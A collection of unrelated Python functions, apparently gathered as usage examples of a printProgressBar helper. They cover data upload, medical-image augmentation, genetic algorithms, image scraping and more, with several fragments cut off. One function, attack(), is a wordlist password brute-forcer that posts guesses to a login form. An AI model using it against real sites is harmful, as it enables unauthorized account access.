def upload_df_with_batches(SQL, df, queue=None, batch_size=500): # чтобы cursor.execute() это ел, нужно NaN заменить на None # поскольку согласно stackoverflow, такая замена может вызвать некорректную работу датафрейма, # мы это делаем непосредственно перед загрузкой df = df.where(df.notnull(), None) batches = list(split_df(df, batch_size)) length = len(batches) logging.info( f'ALL ITEMS: {sum([len(batch) for batch in batches])} IN {length} BATCHES' ) logging.info(f'DF SHAPE: {df.shape}') warnings_ = [] if not queue: cur, conn = open_db() logging.info(f"Uploading items") progress_string = 'Uploading dataframe to DB: ' printProgressBar(0, length, prefix=progress_string, suffix='Complete', length=100) for i, batch in enumerate(batches): warnings_ = upload_batch(SQL, batch, cur, conn) printProgressBar(i + 1, length, prefix=progress_string, suffix='Complete', length=100) conn.commit() close_db(cur, conn) else: print('Putting {} to Queue...'.format(batches[0][0]['bkf_filename'])) for batch in batches: queue.put((SQL, batch)) show_1265_warnings(warnings_)
def augmentation(dicom, num=9): pixel_array = [] mask = [] progressbar.printProgressBar(0, num, prefix="Creating Augmentations:", suffix="Complete", length=50) for n in range(num): tmp = rotate_images(dicom.pixel_array, dicom.mask) tmp = scale_images(tmp["pixel_array"], np.rint(tmp["mask"])) tmp = shear_images(tmp["pixel_array"], np.rint(tmp["mask"])) #p = [rotated["params"], scaled["params"], sheared["params"]] pixel_array.append(normalize_grayscale(tmp["pixel_array"])) mask.append(np.rint(tmp["mask"])) progressbar.printProgressBar( n + 1, num, prefix="Creating Augmentations", suffix="Complete", length=50, ) augmentations = {"pixel_array": pixel_array, "mask": mask, "amount": num} dicom.augmentations = augmentations return dicom
def select_cities_tournament(city_to_ev, input_city_pop, population, citysize, tournament_size): selection_percent = tournament_size printProgressBar(0, population, prefix='Population Selection Progress:', suffix='Complete', length=50) selected_population_matrix = np.zeros((population, citysize * citysize)) for tournaments in range(0, int(population / selection_percent)): winner = match(city_to_ev[int(tournaments * selection_percent):int( (tournaments * selection_percent) + selection_percent)]) champion_replication = [] for copies in range(0, int(selection_percent)): champion_replication.append( input_city_pop[int((tournaments * selection_percent) + winner)]) selected_population_matrix[int(tournaments * selection_percent):int( (tournaments * selection_percent) + selection_percent)] = champion_replication printProgressBar(tournaments + 1, population, prefix='Population Selection Progress:', suffix='Complete', length=50) return selected_population_matrix
def translate(word): global current_word # Progress Bar current_word = current_word + 1 printProgressBar(current_word, word_count, prefix="Progress:", suffix="Done", length=50) # Translate Word global translated result = translator.translate(word, from_language=TRANSLATEFROM, to_language=TRANSLATETO) try: returned = result.translation_tuples[:1][0] translated = translated + [ (word, re.sub(r'\s<.+>', '', re.sub(r'\s{\w+}', '', returned[1].capitalize()))) ] except: translated = translated + [(word, "Not Found")] result.translation_tuples = []
def attack(site,userid,passid,username,wordlist,error): with open(wordlist) as f: content = f.readlines() lbrl = file_len(wordlist) nbrl = 1 progressbar.printProgressBar(0, lbrl, prefix = 'Progress:', suffix = 'Complete', length = 50) for pswd in content: pswd = pswd.rstrip() payload = {userid:username, passid: pswd} ''' sys.stdout.write('\r[+] On test : '+pswd+' ---> '+str(nbrl)+'/'+str(lbrl)) nbrl += 1 sys.stdout.flush() ''' progressbar.printProgressBar(nbrl, lbrl, prefix = 'Progress:', suffix = 'Complete', length = 50) nbrl += 1 res = post(site,data=payload).content find = re.search(error, res.decode('utf-8')) if find is None: u = ('Pass find : '+pswd) liste = ('[/] '+u,'[*] '+u,'[\\] '+u) import time print('\n') for x in range(0,125): for x in liste: sys.stdout.write('\r'+str(x)) sys.stdout.flush() time.sleep(0.1) print('')
def augmentation(dicom, num=9): pixel_array = [] mask = [] progressbar.printProgressBar(0, num, prefix="Creating Augmentations:", suffix="Complete", length=50) for n in range(num): tmp = rotate_images(dicom.pixel_array, dicom.mask) tmp = scale_images(tmp["pixel_array"], np.rint(tmp["mask"])) tmp = shear_images(tmp["pixel_array"], np.rint(tmp["mask"])) #p = [rotated["params"], scaled["params"], sheared["params"]] pixel_array.append(normalize_grayscale(tmp["pixel_array"])) mask.append(np.rint(tmp["mask"])) progressbar.printProgressBar(n+1, num, prefix="Creating Augmentations", suffix="Complete", length=50,) augmentations = { "pixel_array" : pixel_array, "mask" : mask, "amount" : num } dicom.augmentations = augmentations return dicom
def music_df_creation(music_lib,cols): """ Parse the XML music library and return the desired data into a pandas dataframe. @params: music_lib - Required : Music library to parse (list of XML objects) cols - Required : Fields of interest. """ all_track_values=[] # master list to conatain all info for all tracks # Loop into the XML object to find track information for i in range(len(music_lib)): track_specific_dict={} #track specific collector track_specific_values=[] #track specific collector for j in range(len(music_lib[i])): if music_lib[i][j].tag=='key': if music_lib[i][j].text in cols: track_specific_dict[music_lib[i][j].text]=music_lib[i][j+1].text #I know this is super retarded, but it's the way Apple implemented it. # making sure cols are in the same order for c in cols: try: track_specific_values.append(track_specific_dict[c]) except: track_specific_values.append('') all_track_values.append(track_specific_values) printProgressBar(iteration = i, total = len(music_lib), printEnd='') # appending every line one by one is taking too much time as the dataframe gets bigger, hence we dump everything at once at the end of the parsing df=pd.DataFrame(data = all_track_values,columns=cols) return df
def iterate_file(file_name): print("Opening file {}".format(file_name)) with open(file_name, 'r') as handle: with open(join(curr_dir, file_name.split('.')[0] \ + '.log'), 'a') as logfile: counter = 0 image_name = None file_list = [line.rstrip() for line in handle] l = len(file_list) printProgressBar(0, l, prefix='Fetching Images:', suffix='Complete', decimals=2, length=50) for line in file_list: if 'png' in splitext(line)[1].lower(): image_name = file_name.split('.')[0] + '_' + \ str(counter) + '.png' else: image_name = file_name.split('.')[0] + '_' + \ str(counter) + '.jpg' counter += 1 download_image(line, image_name, logfile, counter, l) print("All images scraped from {} file".format(file_name))
def createIdfs(self): progressbar.printProgressBar(0, self.config['quantity'] + 1, prefix='Progress:', suffix='Complete', length=50) # gera a quatidade de idf's configurada for x in range(1, self.config['quantity'] + 1): filename = self.config['path']['filename'] + '' + str(x) + '.idf' self.header = 'output' self.configString = filename # instancia a classe do idf a partir do idf base idf = idfset.IDFSet(self.config['path']['base']) self.iterateOverClasses(idf, sorted(self.config['variables'].items()), 0) # gera os idf´s novos com as variações da configuração if (not self.wroteHeader): self.createParameterFile(self.header) self.wroteHeader = True self.createParameterFile(self.configString) idf.generateIdf(self.config['path']['destination'] + '/' + filename) progressbar.printProgressBar(x + 1, self.config['quantity'] + 1, prefix='Progress:', suffix='Complete', length=50)
def create_cities(cities, citysize, uses): printProgressBar(0, cities, prefix = 'Population Generation Progress:', suffix = 'Complete', length = 50) #Progress bar for terminal interface. matrix = np.arange(citysize * citysize) #Creates empty vector to be used to create matrix. for indiv in range(0, cities): newcity = citygen(citysize, uses) #Calls new city generator. matrix = np.vstack((matrix, newcity)) #Adds new city to complete population matrix. printProgressBar(indiv + 1, cities, prefix = 'Population Generation Progress:', suffix = 'Complete', length = 50) #Progress bar for terminal interface. matrix = np.delete(matrix, 0, 0) #Deletes fisrt row used as placeholder. return matrix #Returns matrix with each row representing a different city.
def playlist_df_creation(playlist_lib,cols): """ Parse the XML playlist library and return the desired data into a tuple of pandas dataframe: a main one containing the playlists directory and a dictionary of dataframes, containing foreach playlist the track ids in that playlist. @params: playlist_lib - Required : Playlist library to parse (list of XML objects) cols - Required : Fields of interest, must at least contain 'Playlist ID' """ # Loop into the XML object to find playlist information all_plist_master_info =[] all_plist_tracks_df={} # will contain one dataframe (value) for each playlist (key) for i in range(len(playlist_lib)): master = False plist_gen_info_dict={} # playlist gen info container plist_gen_info_values=[] # playlist gen info container tracks = [] track_ids = [] # get the tracks IDs contained in that plist. for j in range(len(playlist_lib[i])): if playlist_lib[i][j].tag=='key': #these contains the general information if (playlist_lib[i][j].text == 'Master') & (playlist_lib[i][j+1].tag=='true'): master = True if playlist_lib[i][j].text in cols: plist_gen_info_dict[playlist_lib[i][j].text]=playlist_lib[i][j+1].text if playlist_lib[i][j].tag=='array': #tracks composing that plist are contained in this array tracks=list(playlist_lib[i][j].findall('dict')) if master: continue # Extract tracks composing that plist. All tracks are in form of a dict containing their ID for j in range(len(tracks)): for k in range(len(tracks[j])): if tracks[j][k].text == 'Track ID': track_ids.append(tracks[j][k+1].text) # Extract plist gen info into a general dataframe, making sure cols are in the same order for c in cols: try: plist_gen_info_values.append(plist_gen_info_dict[c]) except: plist_gen_info_values.append('') plist_gen_info_values.append(len(track_ids)) all_plist_master_info.append(plist_gen_info_values) plist_tracks_df = pd.DataFrame(data = track_ids, columns=['Track ID']) all_plist_tracks_df[plist_gen_info_dict['Playlist ID']] = plist_tracks_df printProgressBar(iteration = i, total = len(playlist_lib), printEnd='') # appending every line one by one is taking too much time as the dataframe gets bigger cols.append('Track Count') plist_maser_df=pd.DataFrame(data = all_plist_master_info,columns=cols) return plist_maser_df, all_plist_tracks_df
def download_image(url, file_name, counter, tot): headers = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36' } try: req = requests.get(url, headers=headers) if req.status_code == requests.codes.ok: with open(join(image_path, file_name), 'wb') as f: for chunk in req: f.write(chunk) printProgressBar(counter, tot, prefix='Fetching images:', suffix='Complete', length=50) except requests.exceptions.RequestException as re: pass
def mutate_individuals( input_city, mutationprob, population, citysize, types ): #Complete function for looping through every individual's mutations in an entire population. mutateded_population = np.zeros((population, citysize * citysize)) printProgressBar(0, population, prefix='Population Mutation Progress:', suffix='Complete', length=50) for indiv in range(0, population): mutated_individual = mutation(input_city[indiv, :], mutationprob, types) mutateded_population[indiv, :] = mutated_individual printProgressBar(indiv + 1, population, prefix='Population Mutation Progress:', suffix='Complete', length=50) return mutateded_population
def download_image(url, file_name, logfile, counter, total): try: r = requests.get(url, stream=True) if r.status_code == requests.codes.ok: with open(join(path_to_images, file_name), 'wb') as f: for chunk in r: f.write(chunk) printProgressBar(counter, total, prefix='Fetching Images:', suffix='Complete', decimals=2, length=50) else: logfile.write("{} {}\n".format(url, r.status_code)) except requests.exceptions.RequestException as e: logfile.write("{}\n".format(e)) except Exception as ex: logfile.write("{}\n".format(ex))
def process_text(text_file): """ This function takes an input text file, removes unecessary headers and punctuation and whitespaces, and splits it into paragraphs. It then stems the tokenized words in each paragraph. :param text_file: Name of text file to tokenize and process. :return: List of lists. Each list represents a paragraph of stemmed words. """ stemmer = PorterStemmer() with codecs.open(text_file, "r", "utf-8") as f: paragraphs = f.read().split( '\n\n' ) # Reads the text file and converts to lower case, removes all punctuation and line breaks # Remove paragraphs containing the word "Guthenberg" paragraphs_without_header_and_footer = [] for paragraph in paragraphs: if paragraph != "": if "gutenberg" not in paragraph.lower(): paragraphs_without_header_and_footer.append(paragraph) # Tokenize the list (split the strings into single words) tokenize = [None for i in range(len(paragraphs_without_header_and_footer))] for i in range(len(paragraphs_without_header_and_footer)): tokenize[i] = paragraphs_without_header_and_footer[i].lower( ).translate(str.maketrans('', '', string.punctuation)).split() printProgressBar(0, len(tokenize), prefix='Pre-processing text:', suffix='Complete', length=50) # Prints progress bar # Stem all the words in tokenize for i in range(len(tokenize)): printProgressBar(i + 1, len(tokenize), prefix='Pre-processing text:', suffix='Complete', length=50) tokenize[i] = [stemmer.stem(word) for word in tokenize[i]] return tokenize, paragraphs_without_header_and_footer
def evaluate_cities( city_to_ev, population, look_up ): #Complete evaluation fucntion for looping through every individual of a population. printProgressBar(0, population, prefix='Population Evaluation Progress:', suffix='Complete', length=50) ev_vector = np.arange(population) for pop in range(0, population): ev_vector[pop] = evaluate_simplethree( city_to_ev[pop, :], look_up) #Change line to change to desired weight function. printProgressBar(pop + 1, population, prefix='Population Evaluation Progress:', suffix='Complete', length=50) return ev_vector #Returns evaluation vector.
def main(path): # open video with cv2 cap = cv2.VideoCapture(path) # get length of the video in frames for the progressbar length = int(cap.get(cv2.CAP_PROP_FRAME_COUNT)) # get current directory and make a new folder # the name of the folder will be the current timestamp work_dir = os.path.dirname(os.path.realpath(__file__)) new_dir_name = str(int(datetime.datetime.now().timestamp())) path = os.path.join(work_dir, new_dir_name) os.mkdir(path) while True: # Capture frame-by-frame ret, frame = cap.read() if frame is None: print("Finished") print("Location:{}".format(path)) print("Saved: {} images".format(count)) break else: # get the current frame number count = int(cap.get(cv2.CAP_PROP_POS_FRAMES)) progressbar.printProgressBar(count, length, prefix='Progress:', suffix='Complete', autosize=True) # convert a frame to a jpg and save it cv2.imwrite('{}/{}.jpg'.format(path, count), frame) if cv2.waitKey(1) & 0xFF == ord('q'): break # When everything done, release the capture cap.release() cv2.destroyAllWindows()
def build_dictionary(text_file, stop_words): """ This function takes a text file and a file of stop words, and builds dictionary with pairs of word indexes and word counts in every paragraph. :param text_file: Input text file :param stop_words: Text file of stop words :return: Corpus object (=list of paragraphs); each paragraph is a list of pairs (word-index, word-count) """ words, paragraphs = process_text(text_file) dictionary = Dictionary(words) # Gather all stop words with codecs.open(stop_words, "r", "utf-8") as stop_w: stop_words = stop_w.read().split(',') # Gather all stop word ids stop_word_ids = [] for i in range(len(dictionary)): if dictionary[ i] in stop_words: # Check if stop word exists in dictionary stop_word_ids.append(dictionary.token2id[dictionary[i]]) dictionary.filter_tokens(stop_word_ids) # Filter out all stop words bags_of_words = [] printProgressBar(0, len(words), prefix='Building dictionary:', suffix='Complete', length=50) for i in range(len(words)): printProgressBar(i + 1, len(words), prefix='Building dictionary:', suffix='Complete', length=50) bags_of_words.append(dictionary.doc2bow(words[i])) return bags_of_words, dictionary, paragraphs
def create_list(videos, target_board, list_name): trello_list = target_board.add_list(list_name) print("Addind cards...") videos_count = len(videos) for video_index in range(videos_count): video = videos[video_index] card_title = _create_card_title(video) card = trello_list.add_card(card_title, video.description) card.attach(name="thumb", url=video.thumbnail_url) card.attach(name="link", url=video.url) duration_minutes = int(video.duration.seconds / 60) checklist_items = _create_checklist_items(video.url, duration_minutes, 6) card.add_checklist("watched", checklist_items) printProgressBar(video_index + 1, videos_count, prefix="Progress:", suffix="Complete", length=100) print(f"\n{videos_count} cards have been added")
def test_model(self, saved_model, prob_save_path): census, ncc, sobel, sad = self.__get_costs(self.imgl, self.imgr) print "Batch testing" proba = np.empty((0, 2)) with open(saved_model, 'rb') as f: rf = cPickle.load(f) rf.set_params(verbose=0) r_s = int(math.floor(self.__test_batch / self.w)) batch_index = 0 print "Iterations: " + str(math.ceil(self.h / r_s)) pgb.printProgressBar(0, math.ceil(self.h / r_s), prefix='Progress', suffix='Complete', length=50) while batch_index < self.h: features = self.__extract_features_lr( census[batch_index:batch_index + r_s, :, :], ncc[batch_index:batch_index + r_s, :, :], sobel[batch_index:batch_index + r_s, :, :], sad[batch_index:batch_index + r_s, :, :]) batch_proba = rf.predict_proba(features) batch_index += r_s proba = np.append(proba, batch_proba, axis=0) pgb.printProgressBar(batch_index / r_s, math.ceil(self.h / r_s), prefix='Progress', suffix='Complete', length=50) rf = [] return proba
def create_training_data(): patternZero = '*class0.png' patternOne = '*class1.png' classZero = fnmatch.filter(imagePatches, patternZero) l1 = len(classZero[0:1000]) classOne = fnmatch.filter(imagePatches, patternOne) l2 = len(classOne[0:1000]) # Update: module needs to have two lengths. These categories are for the different images (Benign and Malignant) for i, filename in enumerate(classZero[0:1000]): #print(filename) try: im_array = cv2.imread(filename, cv2.IMREAD_GRAYSCALE) new_array = cv2.resize(im_array, (50, 50)) trainingData.append([new_array, 0]) time.sleep(0.1) printProgressBar(i + 1, l1, prefix='Progress:', suffix='Complete', length=50) except Exception as e: print(e) pass for i, filename in enumerate(classOne[0:1000]): try: im_array = cv2.imread(filename, cv2.IMREAD_GRAYSCALE) new_array = cv2.resize(im_array, (50, 50)) trainingData.append([new_array, 1]) time.sleep(0.1) printProgressBar(i + 1, l2, prefix='Progress:', suffix='Complete', length=50) except Exception as e: print(e) pass
def cross_individuals( input_city_pop, crossprob, population, citysize): #Complete cross fucntion for an entire population. printProgressBar(0, population, prefix='Population Cross Progress:', suffix='Complete', length=50) for i in range(0, 50): np.random.shuffle(input_city_pop) crossed_population = np.zeros((population, citysize * citysize)) for crosses in range(0, population, 2): newchildren = cross(input_city_pop[crosses, :], input_city_pop[crosses + 1, :], crossprob) crossed_population[crosses, :] = newchildren[0, :] crossed_population[crosses + 1, :] = newchildren[1, :] printProgressBar(crosses + 2, population, prefix='Population Cross Progress:', suffix='Complete', length=50) return crossed_population
def iterate_over(file_name): with open(join(logpath, file_name), 'r') as handle: url_list = [line.rstrip() for line in handle] url_list = [ url.split(' ')[0] for url in url_list if url.split(' ')[1] == '403' ] total_urls = len(url_list) counter = 0 image_name = None printProgressBar(0, total_urls, prefix='Fetching images:', suffix='Complete', length=50) for url in url_list: if 'png' in splitext(url)[1]: image_name = file_name.split('.')[0] + '_' + str( counter) + '.png' else: image_name = file_name.split('.')[0] + '_' + str( counter) + '.jpg' counter += 1 download_image(url, image_name, counter, total_urls) print("All image scraped from {} file".format(file_name))
def create_subvolumes(dicom): """ create subvolumes for testing model - one of the subvolumes fully contains aneurysm """ images = [] labels = [] dim = dicom.pixel_array.shape # calculate the stepsize stepsize = int(SUBVOLUME_SIZE * SUBVOLUME_OVERLAP) # initialize the progress bar progressbar.printProgressBar( 0, dim[2], prefix="Creating Testset subvolumes:", suffix="Complete", length=50 ) # get dimension ranges as center as 80% of image X_dim_start = (dim[0]*(1-IMAGE_CENTER))/2 Y_dim_start = (dim[1]*(1-IMAGE_CENTER))/2 Z_dim_start = (dim[2]*(1-IMAGE_CENTER))/2 # get corner vertex of subvolume containing aneurysm x = dicom.aneurysm[0][0]-32 y = dicom.aneurysm[0][1]-32 z = dicom.aneurysm[0][2]-32 # compute starting corner of 80% central image from which starting to cut would result in whole aneurysm included in image # get distance between dimension range and aneurysm corner vertex and compute how many times a subvolume would fit, take the rounded # value times subvolume size to subtract from corner vertex to get starting corner vertex X_START = int(max(0, x - int((x-X_dim_start)/64) *64)) Y_START = int(max(0,y - int((y-Y_dim_start)/64) *64)) Z_START = int(max(0,z - int((z-Z_dim_start)/64) *64)) # start with aneurysm in center for x in range(X_START, dim[0] - SUBVOLUME_SIZE + 1, stepsize): for y in range(Y_START, dim[1] - SUBVOLUME_SIZE + 1, stepsize): for z in range(Z_START, dim[2] - SUBVOLUME_SIZE + 1, stepsize): # calculate the coordinates for the subvolume subvolume = dicom.pixel_array[ x : x + SUBVOLUME_SIZE, y : y + SUBVOLUME_SIZE, z : z + SUBVOLUME_SIZE, ] label = dicom.mask [ x : x + SUBVOLUME_SIZE, y : y + SUBVOLUME_SIZE, z : z + SUBVOLUME_SIZE, ] images.append(subvolume) labels.append(label) # print the progress progressbar.printProgressBar( z + 1, dim[2], prefix="Creating Testset subvolumes", suffix="Complete", length=50, ) data = { "images": images, "labels": labels, "patient": dicom.patient } return data
UDPServerSocket.bind((localIP, localPort)) print("UDP server up and listening") # Listen for incoming datagrams bytesAddressPair = UDPServerSocket.recvfrom(bufferSize) message = bytesAddressPair[0].decode() address = bytesAddressPair[1] clientMsg = "Message from Client: {}".format(message) clientIP = "Client IP Address: {}".format(address) print(clientMsg) print(clientIP) # Sending data to client printProgressBar(0, fileSize, prefix='File download:', suffix='Complete', length=50) data = f.read(bufferSize).encode() itrSize = 0 while (data): if (UDPServerSocket.sendto(data, address)): # Progress Bar if (itrSize + bufferSize) > fileSize: itrSize = fileSize else: itrSize += bufferSize printProgressBar(itrSize, fileSize, prefix='File download:',
def getMCFunction(frames, delay=5, uniqueId='test123'): print('Creating datapack structure...') uniqueGifbundle = '/gifbundle_' + uniqueId Path('dist' + uniqueGifbundle).mkdir(exist_ok=True) writeOutputFile( 'dist' + uniqueGifbundle + '/pack.mcmeta', '{"pack":{"pack_format": 6,"description": "GIF Bundles!"}}') filesize = Path('dist' + uniqueGifbundle + '/pack.mcmeta').stat().st_size print('Created McMeta file \'dist' + uniqueGifbundle + '/pack.mcmeta\' [' + str(filesize / 1000) + 'kB]') outputFolder = 'dist' + uniqueGifbundle + '/data' Path(outputFolder).mkdir(exist_ok=True) Path(outputFolder + uniqueGifbundle).mkdir(exist_ok=True) Path(outputFolder + uniqueGifbundle + '/functions').mkdir(exist_ok=True) Path(outputFolder + uniqueGifbundle + '/item_modifiers').mkdir(exist_ok=True) Path(outputFolder + '/minecraft').mkdir(exist_ok=True) Path(outputFolder + '/minecraft/tags').mkdir(exist_ok=True) Path(outputFolder + '/minecraft/tags/functions').mkdir(exist_ok=True) print('Building datapack functions...') initOutput = 'scoreboard objectives add ' + uniqueId + ' dummy\n' initOutput += 'give @a minecraft:bundle{gifbundle:"' + uniqueId + '"}' writeOutputFile( outputFolder + uniqueGifbundle + '/functions/init.mcfunction', initOutput) filesize = Path(outputFolder + uniqueGifbundle + '/functions/init.mcfunction').stat().st_size print('Created Init file \'' + outputFolder + uniqueGifbundle + '/functions/init.mcfunction\' [' + str(filesize / 1000) + 'kB]') writeOutputFile(outputFolder + '/minecraft/tags/functions/load.json', '{"values":["gifbundle_' + uniqueId + ':init"]}') writeOutputFile(outputFolder + '/minecraft/tags/functions/tick.json', '{"values":["gifbundle_' + uniqueId + ':main"]}') output = 'scoreboard players add @a[scores={' + uniqueId + '=1..}] ' + uniqueId + ' 1\n' output += 'scoreboard players set @a[scores={' + uniqueId + '=..1}, nbt={Inventory:[{id:"minecraft:bundle",tag:{gifbundle:"' + uniqueId + '"}}]}] ' + uniqueId + ' 1\n' output += 'scoreboard players set @a[scores={' + uniqueId + '=1..}, nbt=!{Inventory:[{id:"minecraft:bundle",tag:{gifbundle:"' + uniqueId + '"}}]}] ' + uniqueId + ' 0\n' totalFileSize = 0 print('Generating bundle frames...') startBundleFrames = time.time() pool = MyPool(os.cpu_count()) print(frames) bundleFrames = [ pool.apply(getBundleData, args=(frame, uniqueId)) for frame in frames ] endBundleFrames = time.time() printProgressBar( len(frames), len(frames), prefix='Created Frame ' + str(len(frames)) + '/' + str(len(frames)), suffix='Complete [' + '%.2f' % (endBundleFrames - startBundleFrames) + 's]', length=50) pool.close() print('Creating item_modifiers files...') for i in range(len(bundleFrames)): itemModifierOutput = '{"function":"set_nbt","tag":"{' itemModifierOutput += bundleFrames[i] itemModifierOutput += '}"}' writeOutputFile( outputFolder + uniqueGifbundle + '/item_modifiers/frame_' + str(i) + '.json', itemModifierOutput) totalFileSize += Path(outputFolder + uniqueGifbundle + '/item_modifiers/frame_' + str(i) + '.json').stat().st_size for slot in range(9): output += 'item entity @a[scores={' + uniqueId + '=' + str( (i + 1) * delay + 1) + '},' output += 'nbt={Inventory:[{id:"minecraft:bundle",tag:{gifbundle:"' + uniqueId + '"},' output += 'Count: 1b,Slot: ' + str( slot) + 'b}]}] container.' + str( slot) + ' modify gifbundle_' + uniqueId + ':frame_' + str( i) + '\n' printProgressBar(i + 1, len(frames), prefix='Created Frame ' + str(i + 1) + '/' + str(len(frames)) + ' file', suffix='Complete [' + str(totalFileSize / 1000) + ' kB]', length=50) output += 'scoreboard players set @a[scores={' + uniqueId + '=' + str( (len(frames) * delay + 1)) + '..}] ' + uniqueId + ' 1' writeOutputFile( outputFolder + uniqueGifbundle + '/functions/main.mcfunction', output) filesize = Path(outputFolder + uniqueGifbundle + '/functions/main.mcfunction').stat().st_size print('Created Main Loop file \'' + outputFolder + uniqueGifbundle + '/functions/main.mcfunction\' [' + str(filesize / 1000) + 'kB]')
if args.save and os.path.isfile(args.csv_file): print("LOADING FILE: " + args.csv_file) stats = np.loadtxt(args.csv_file, delimiter=',') file_loaded = True if not file_loaded: stats = np.zeros((args.length_max, 2)) for i in xrange(args.length_max): vals = np.zeros(args.samples) dotp_length = args.dotp_length length = i + 1 for j in xrange(args.samples): printProgressBar((i * args.samples) + j, args.length_max * args.samples - 1, prefix='Sampling:', suffix='', decimals=10, length=100, fill='#') xv = np.random.rand(dotp_length) yv = np.random.rand(dotp_length) if args.bipolar: xv = 2 * xv - 1 yv = 2 * yv - 1 xyd = np.dot(xv, yv) if args.bipolar: xyd = np.clip(xyd, -1, 1) else: xyd = np.clip(xyd, 0, 1)
df = pd.read_table('bdata.20130222.mhci.txt') specienames = [] data = [] final = [] newmeas = [] sign = [] totallen = len(df) for i in range(totallen): newmeas.append(math.log10(df.iloc[i][5])) if df.iloc[i][5] <= 500: sign.append('-') else: sign.append('+') if df.iloc[i][0] not in specienames: specienames.append(df.iloc[i][0]) pb.printProgressBar(i, totallen, prefix = 'Name Progress:', suffix = 'Complete', length = 50) df['meas'] = newmeas df['sign'] = sign for s in specienames: print('current species: ' + s + '\n') mhc = [] current = df.loc[df['species'] == s] currentlen = len(current) for i in range(currentlen): if current.iloc[i][1] not in mhc: mhc.append(current.iloc[i][1]) pb.printProgressBar(i, currentlen, prefix = 'MHC Progress:', suffix = 'Complete', length = 50) for m in mhc: length = []
print( f"\n!!! Could not find coordinates of {address['street']}") for result in response_data: house_found = False if result["type"] == "house": house_found = True set_coordinates(result) if house_found: break else: set_coordinates(response_data[0]) printProgressBar(i + 1, len(data), prefix="Progress:", suffix="Complete", length=50) with open( f"{current_folder}/organisations_geocoded/{organisation_name}_coded.csv", mode="w") as csv_file: writer = csv.DictWriter(csv_file, fieldnames=[ "state", "postal", "city", "street", "container", "note", "lon", "lat" ], delimiter=";") writer.writeheader() for address in data:
def create_subvolumes(dicom, slack = 3): images = [] labels = [] # initialize the progress bar progressbar.printProgressBar( 0, dicom.augmentations["amount"]+slack, prefix="Creating subvolumes:", suffix="Complete", length=50 ) dim = dicom.pixel_array.shape SUBVOLUMES = int(SUBVOLUME_AMOUNT / len(dicom.aneurysm)) # define slack to generate more subvolumes from original data than augmentations for num_augments in range(dicom.augmentations["amount"]+slack): if num_augments < slack: pixel_array = dicom.pixel_array mask = dicom.mask else: pixel_array = dicom.augmentations["pixel_array"][num_augments-slack] mask = dicom.augmentations["mask"][num_augments-slack] sv = int(SUBVOLUME_SIZE/2) for num_aneurysm in range(len(dicom.aneurysm)): for n in range(SUBVOLUMES): # draw random numbers from normal distribution for each dimension around aneurysm coordinate # augmentations changed only slightly so aneurysm should still be in this range sig = 20 sv_centroid = [ int (stats.truncnorm.rvs( a = (sv - dicom.aneurysm[num_aneurysm][coords]) / sig , b = ( (dim[coords]-sv ) - dicom.aneurysm[num_aneurysm][coords]) / sig, loc = dicom.aneurysm[num_aneurysm][coords], scale = sig) ) for coords in range(3) ] subvolume = pixel_array[ (sv_centroid[0] - sv) : (sv_centroid[0] + sv), (sv_centroid[1] - sv) : (sv_centroid[1] + sv), (sv_centroid[2] - sv) : (sv_centroid[2] + sv) ] label = mask[ (sv_centroid[0] - sv) : (sv_centroid[0] + sv), (sv_centroid[1] - sv) : (sv_centroid[1] + sv), (sv_centroid[2] - sv) : (sv_centroid[2] + sv) ] # assign label to subvolume if aneurysm is covered to a percentage #aneurysm_fraction = dicom.aneurysm[num_aneurysm][3]/sum( i[3] for i in dicom.aneurysm) #expected_coverage = len(mask.nonzero()[0]) * ANEURYSM_COVERAGE * aneurysm_fraction # [1,0] true [0,1] false #label_true_false = np.array([0,1]) if (len(label.nonzero()[0]) <= expected_coverage) else np.array([1,0]) images.append(subvolume) labels.append(label) # print the progress progressbar.printProgressBar( num_augments + 1, dicom.augmentations["amount"]+slack, prefix="Creating subvolumes", suffix="Complete", length=50, ) data = { "patient": dicom.patient, "images": images, "labels": labels } return data
def create_subvolumes(dicom): """ create subvolumes for testing model - one of the subvolumes fully contains aneurysm """ images = [] labels = [] dim = dicom.pixel_array.shape # calculate the stepsize stepsize = int(SUBVOLUME_SIZE * SUBVOLUME_OVERLAP) # initialize the progress bar progressbar.printProgressBar(0, dim[2], prefix="Creating Testset subvolumes:", suffix="Complete", length=50) # get dimension ranges as center as 80% of image X_dim_start = (dim[0] * (1 - IMAGE_CENTER)) / 2 Y_dim_start = (dim[1] * (1 - IMAGE_CENTER)) / 2 Z_dim_start = (dim[2] * (1 - IMAGE_CENTER)) / 2 # get corner vertex of subvolume containing aneurysm x = dicom.aneurysm[0][0] - 32 y = dicom.aneurysm[0][1] - 32 z = dicom.aneurysm[0][2] - 32 # compute starting corner of 80% central image from which starting to cut would result in whole aneurysm included in image # get distance between dimension range and aneurysm corner vertex and compute how many times a subvolume would fit, take the rounded # value times subvolume size to subtract from corner vertex to get starting corner vertex X_START = int(max(0, x - int((x - X_dim_start) / 64) * 64)) Y_START = int(max(0, y - int((y - Y_dim_start) / 64) * 64)) Z_START = int(max(0, z - int((z - Z_dim_start) / 64) * 64)) # start with aneurysm in center for x in range(X_START, dim[0] - SUBVOLUME_SIZE + 1, stepsize): for y in range(Y_START, dim[1] - SUBVOLUME_SIZE + 1, stepsize): for z in range(Z_START, dim[2] - SUBVOLUME_SIZE + 1, stepsize): # calculate the coordinates for the subvolume subvolume = dicom.pixel_array[x:x + SUBVOLUME_SIZE, y:y + SUBVOLUME_SIZE, z:z + SUBVOLUME_SIZE, ] label = dicom.mask[x:x + SUBVOLUME_SIZE, y:y + SUBVOLUME_SIZE, z:z + SUBVOLUME_SIZE, ] images.append(subvolume) labels.append(label) # print the progress progressbar.printProgressBar( z + 1, dim[2], prefix="Creating Testset subvolumes", suffix="Complete", length=50, ) data = {"images": images, "labels": labels, "patient": dicom.patient} return data
